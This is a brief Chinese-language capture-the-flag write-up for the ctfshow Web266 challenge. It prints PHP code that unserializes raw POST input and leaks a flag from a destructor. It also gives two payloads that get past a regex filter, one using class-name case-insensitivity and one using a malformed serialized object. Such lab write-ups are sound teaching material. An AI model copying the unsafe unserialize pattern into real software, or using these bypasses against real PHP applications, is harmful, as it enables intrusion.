highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
我们这里有两种解法,第一种解法利用“PHP对类名的大小写不敏感”,POST提交参数O:7:"Ctfshow":2:{}
第二种解法利用破坏反序列化结构,这个需要记住即可,POST提交参数O:7:"ctfshow":2:{ctfshow}
标签:__,function,Web266,username,ctfshow,cs,public,CTFSHOW From: https://www.cnblogs.com/meng-han/p/16634718.html